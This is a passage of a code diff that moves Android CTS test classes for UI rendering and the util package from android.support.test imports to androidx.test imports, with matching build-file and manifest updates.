import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/InfrastructureTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/InfrastructureTests.java
index abaf96e..003b9d3 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/InfrastructureTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/InfrastructureTests.java
@@ -18,9 +18,6 @@
import android.graphics.Color;
import android.graphics.Point;
import android.graphics.Rect;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapcomparers.BitmapComparer;
import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
@@ -29,6 +26,10 @@
import android.uirendering.cts.testinfrastructure.CanvasClient;
import android.uirendering.cts.testinfrastructure.ViewInitializer;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
index b4c7798..dee7e42 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
@@ -29,9 +29,6 @@
import android.graphics.PorterDuff;
import android.graphics.PorterDuffXfermode;
import android.graphics.Rect;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
import android.uirendering.cts.bitmapverifiers.ColorCountVerifier;
@@ -48,6 +45,9 @@
import android.widget.FrameLayout;
import androidx.annotation.ColorInt;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Ignore;
import org.junit.Test;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayoutTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayoutTests.java
index 3d1c10e..01879f0 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayoutTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayoutTests.java
@@ -17,13 +17,14 @@
import android.graphics.Color;
import android.graphics.Rect;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapverifiers.ColorVerifier;
import android.uirendering.cts.bitmapverifiers.RectVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
index d78972f..20f1fda 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
@@ -24,9 +24,6 @@
import android.graphics.Path;
import android.graphics.Point;
import android.graphics.Typeface;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
@@ -40,6 +37,10 @@
import android.view.ViewGroup;
import android.webkit.WebView;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathTests.java
index 632ff85..e46793f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathTests.java
@@ -4,13 +4,14 @@
import android.graphics.Paint;
import android.graphics.Path;
import android.graphics.Typeface;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PictureTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PictureTest.java
index 454eb2c0..ba92a60 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PictureTest.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PictureTest.java
@@ -21,12 +21,13 @@
import android.graphics.Paint;
import android.graphics.Picture;
import android.graphics.Rect;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.bitmapverifiers.ColorVerifier;
import android.uirendering.cts.bitmapverifiers.RectVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/Rgba16fTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/Rgba16fTests.java
index d9ec2b5..13d52c8 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/Rgba16fTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/Rgba16fTests.java
@@ -24,12 +24,13 @@
import android.graphics.Paint;
import android.graphics.Point;
import android.graphics.Shader;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShaderTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShaderTests.java
index 252874d..651b7f9 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShaderTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShaderTests.java
@@ -26,13 +26,14 @@
import android.graphics.PorterDuff;
import android.graphics.RadialGradient;
import android.graphics.Shader;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
import android.uirendering.cts.bitmapverifiers.ColorVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
import android.uirendering.cts.testinfrastructure.CanvasClient;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShadowTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShadowTests.java
index 3de3d59..0372ba2 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShadowTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShadowTests.java
@@ -23,8 +23,6 @@
import android.content.res.TypedArray;
import android.graphics.Color;
import android.graphics.Point;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
@@ -33,6 +31,9 @@
import android.view.ContextThemeWrapper;
import android.view.View;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShapeTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShapeTests.java
index ecd8dfc..6429bbd 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShapeTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShapeTests.java
@@ -16,13 +16,14 @@
package android.uirendering.cts.testclasses;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
index 2e1ce85..1e0c89f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
@@ -21,8 +21,6 @@
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Rect;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapverifiers.ColorVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
@@ -36,6 +34,9 @@
import android.view.animation.LinearInterpolator;
import android.widget.FrameLayout;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.SynchronousPixelCopy;
import org.junit.Assert;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SweepTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SweepTests.java
index 9ffb045..7c2121d 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SweepTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SweepTests.java
@@ -22,8 +22,6 @@
import android.graphics.Paint;
import android.graphics.Rect;
import android.graphics.Shader;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.bitmapcomparers.BitmapComparer;
import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
@@ -31,6 +29,9 @@
import android.uirendering.cts.testinfrastructure.DisplayModifier;
import android.uirendering.cts.testinfrastructure.ResourceModifier;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java
index ad20dd7..fa8f54c 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java
@@ -25,9 +25,6 @@
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.SurfaceTexture;
-import androidx.annotation.ColorInt;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapverifiers.ColorVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
@@ -38,6 +35,10 @@
import android.view.TextureView.SurfaceTextureListener;
import android.view.ViewGroup;
+import androidx.annotation.ColorInt;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.AfterClass;
import org.junit.Assert;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java
index f4db101..e54004d 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java
@@ -25,20 +25,21 @@
import android.graphics.Point;
import android.graphics.Rect;
import android.graphics.drawable.VectorDrawable;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapverifiers.RectVerifier;
import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
-
import android.uirendering.cts.testinfrastructure.ViewInitializer;
import android.view.View;
import android.widget.FrameLayout;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
+
import java.util.concurrent.CountDownLatch;
-import android.animation.Animator;
@MediumTest
@RunWith(AndroidJUnit4.class)
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewAnimationUtilsTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewAnimationUtilsTests.java
index 88aa265..90fc1dd 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewAnimationUtilsTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewAnimationUtilsTests.java
@@ -16,8 +16,6 @@
package android.uirendering.cts.testclasses;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
@@ -25,6 +23,9 @@
import android.uirendering.cts.testinfrastructure.ViewInitializer;
import android.view.ViewAnimationUtils;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewClippingTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewClippingTests.java
index d1f0ee5..14fbc0f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewClippingTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewClippingTests.java
@@ -6,8 +6,6 @@
import android.graphics.Outline;
import android.graphics.Path;
import android.graphics.Rect;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
import android.uirendering.cts.bitmapverifiers.RectVerifier;
@@ -18,6 +16,9 @@
import android.view.ViewGroup;
import android.view.ViewOutlineProvider;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java
index 9f46e36..936f0f6 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java
@@ -21,8 +21,6 @@
import android.graphics.Color;
import android.graphics.ColorSpace;
import android.graphics.Point;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
@@ -30,6 +28,10 @@
import android.uirendering.cts.testclasses.view.BitmapView;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
import android.view.View;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/XfermodeTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/XfermodeTest.java
index d28167e..116ecd9 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/XfermodeTest.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/XfermodeTest.java
@@ -25,11 +25,12 @@
import android.graphics.PorterDuffXfermode;
import android.graphics.RectF;
import android.graphics.drawable.ColorDrawable;
-import android.support.test.filters.LargeTest;
import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
import android.uirendering.cts.testinfrastructure.CanvasClient;
+import androidx.test.filters.LargeTest;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
index 6f2ac81..e6359c6 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
@@ -21,14 +21,15 @@
import android.graphics.Bitmap.Config;
import android.graphics.Point;
import android.graphics.Rect;
-import androidx.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
import android.uirendering.cts.bitmapcomparers.BitmapComparer;
import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
import android.uirendering.cts.util.BitmapAsserter;
import android.util.Log;
import android.view.PixelCopy;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+
import com.android.compatibility.common.util.SynchronousPixelCopy;
import org.junit.After;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java
index e96fe0b..5c59c46 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java
@@ -17,7 +17,6 @@
import android.graphics.Bitmap;
import android.os.Environment;
-import android.support.test.InstrumentationRegistry;
import android.uirendering.cts.differencevisualizers.DifferenceVisualizer;
import android.util.Log;
diff --git a/tests/tests/util/Android.mk b/tests/tests/util/Android.mk
index 5e403a4..3aadfa1 100644
--- a/tests/tests/util/Android.mk
+++ b/tests/tests/util/Android.mk
@@ -28,8 +28,8 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
androidx.annotation_annotation \
- android-support-test \
- ctstestrunner
+ androidx.test.rules \
+ ctstestrunner-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/util/AndroidManifest.xml b/tests/tests/util/AndroidManifest.xml
index 8c48735..0e71890 100644
--- a/tests/tests/util/AndroidManifest.xml
+++ b/tests/tests/util/AndroidManifest.xml
@@ -24,7 +24,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.util.cts"
android:label="CTS tests of android.util">
<meta-data android:name="listener"
diff --git a/tests/tests/util/src/android/util/cts/AndroidExceptionTest.java b/tests/tests/util/src/android/util/cts/AndroidExceptionTest.java
index 86cf1b1..05a5bf6 100644
--- a/tests/tests/util/src/android/util/cts/AndroidExceptionTest.java
+++ b/tests/tests/util/src/android/util/cts/AndroidExceptionTest.java
@@ -18,10 +18,11 @@
import static org.junit.Assert.assertEquals;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AndroidException;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/AndroidRuntimeExceptionTest.java b/tests/tests/util/src/android/util/cts/AndroidRuntimeExceptionTest.java
index 886269f..4c51f3d 100644
--- a/tests/tests/util/src/android/util/cts/AndroidRuntimeExceptionTest.java
+++ b/tests/tests/util/src/android/util/cts/AndroidRuntimeExceptionTest.java
@@ -18,10 +18,11 @@
import static org.junit.Assert.assertEquals;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AndroidRuntimeException;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/ArrayMapTest.java b/tests/tests/util/src/android/util/cts/ArrayMapTest.java
index c89972d..cc9feac 100644
--- a/tests/tests/util/src/android/util/cts/ArrayMapTest.java
+++ b/tests/tests/util/src/android/util/cts/ArrayMapTest.java
@@ -18,7 +18,6 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -26,11 +25,12 @@
import android.os.Bundle;
import android.os.Parcel;
import android.os.Parcelable;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.ArrayMap;
import android.util.Log;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/ArraySetTest.java b/tests/tests/util/src/android/util/cts/ArraySetTest.java
index f8ff037..d84abc7 100644
--- a/tests/tests/util/src/android/util/cts/ArraySetTest.java
+++ b/tests/tests/util/src/android/util/cts/ArraySetTest.java
@@ -19,16 +19,16 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotSame;
-import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.ArraySet;
import android.util.Log;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -38,7 +38,6 @@
import java.util.NoSuchElementException;
// As is the case with ArraySet itself, ArraySetTest borrows heavily from ArrayMapTest.
-
@SmallTest
@RunWith(AndroidJUnit4.class)
public class ArraySetTest {
diff --git a/tests/tests/util/src/android/util/cts/DebugUtilsTest.java b/tests/tests/util/src/android/util/cts/DebugUtilsTest.java
index 8d5f61b..8fe3e94 100644
--- a/tests/tests/util/src/android/util/cts/DebugUtilsTest.java
+++ b/tests/tests/util/src/android/util/cts/DebugUtilsTest.java
@@ -17,10 +17,11 @@
import static org.junit.Assert.assertFalse;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.DebugUtils;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java b/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java
index 4966be0..68a7cb9 100644
--- a/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java
+++ b/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java
@@ -20,13 +20,14 @@
import static org.junit.Assert.assertTrue;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.DisplayMetrics;
import android.view.Display;
import android.view.WindowManager;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/EventLogTest.java b/tests/tests/util/src/android/util/cts/EventLogTest.java
index a0ce6b7..3e93412 100644
--- a/tests/tests/util/src/android/util/cts/EventLogTest.java
+++ b/tests/tests/util/src/android/util/cts/EventLogTest.java
@@ -19,14 +19,14 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
import android.os.Process;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.EventLog;
import android.util.EventLog.Event;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/HalfTest.java b/tests/tests/util/src/android/util/cts/HalfTest.java
index 89567a5..d79669b 100644
--- a/tests/tests/util/src/android/util/cts/HalfTest.java
+++ b/tests/tests/util/src/android/util/cts/HalfTest.java
@@ -16,20 +16,20 @@
package android.util.cts;
-import android.util.Half;
-
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
import static android.util.Half.*;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.assertFalse;
+
+import android.util.Half;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
@SmallTest
@RunWith(AndroidJUnit4.class)
diff --git a/tests/tests/util/src/android/util/cts/JsonReaderTest.java b/tests/tests/util/src/android/util/cts/JsonReaderTest.java
index 9ac3fc3..55471c6 100644
--- a/tests/tests/util/src/android/util/cts/JsonReaderTest.java
+++ b/tests/tests/util/src/android/util/cts/JsonReaderTest.java
@@ -21,12 +21,13 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.JsonReader;
import android.util.JsonToken;
import android.util.MalformedJsonException;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/JsonWriterTest.java b/tests/tests/util/src/android/util/cts/JsonWriterTest.java
index 79819a2..b939bf0 100644
--- a/tests/tests/util/src/android/util/cts/JsonWriterTest.java
+++ b/tests/tests/util/src/android/util/cts/JsonWriterTest.java
@@ -19,10 +19,11 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.JsonWriter;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/LogPrinterTest.java b/tests/tests/util/src/android/util/cts/LogPrinterTest.java
index bd139ef..a10c186 100644
--- a/tests/tests/util/src/android/util/cts/LogPrinterTest.java
+++ b/tests/tests/util/src/android/util/cts/LogPrinterTest.java
@@ -16,11 +16,12 @@
package android.util.cts;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
import android.util.LogPrinter;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/LogTest.java b/tests/tests/util/src/android/util/cts/LogTest.java
index ada7af7..77f7d20 100644
--- a/tests/tests/util/src/android/util/cts/LogTest.java
+++ b/tests/tests/util/src/android/util/cts/LogTest.java
@@ -18,10 +18,11 @@
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/LongSparseArrayTest.java b/tests/tests/util/src/android/util/cts/LongSparseArrayTest.java
index 2eabe88..df3301a 100644
--- a/tests/tests/util/src/android/util/cts/LongSparseArrayTest.java
+++ b/tests/tests/util/src/android/util/cts/LongSparseArrayTest.java
@@ -21,10 +21,11 @@
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.LongSparseArray;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/MathUtilsTest.java b/tests/tests/util/src/android/util/cts/MathUtilsTest.java
index d19a652..449bd53 100644
--- a/tests/tests/util/src/android/util/cts/MathUtilsTest.java
+++ b/tests/tests/util/src/android/util/cts/MathUtilsTest.java
@@ -18,10 +18,11 @@
import static org.junit.Assert.assertEquals;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.MathUtils;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/util/src/android/util/cts/MonthDisplayHelperTest.java b/tests/tests/util/src/android/util/cts/MonthDisplayHelperTest.java
index df9916c..b3e1ca8 100644
--- a/tests/tests/util/src/android/util/cts/MonthDisplayHelperTest.java
+++ b/tests/tests/util/src/android/util/cts/MonthDisplayHelperTest.java
@@ -21,10 +21,11 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.MonthDisplayHelper;
+import androidx.test.filters.SmallTest;
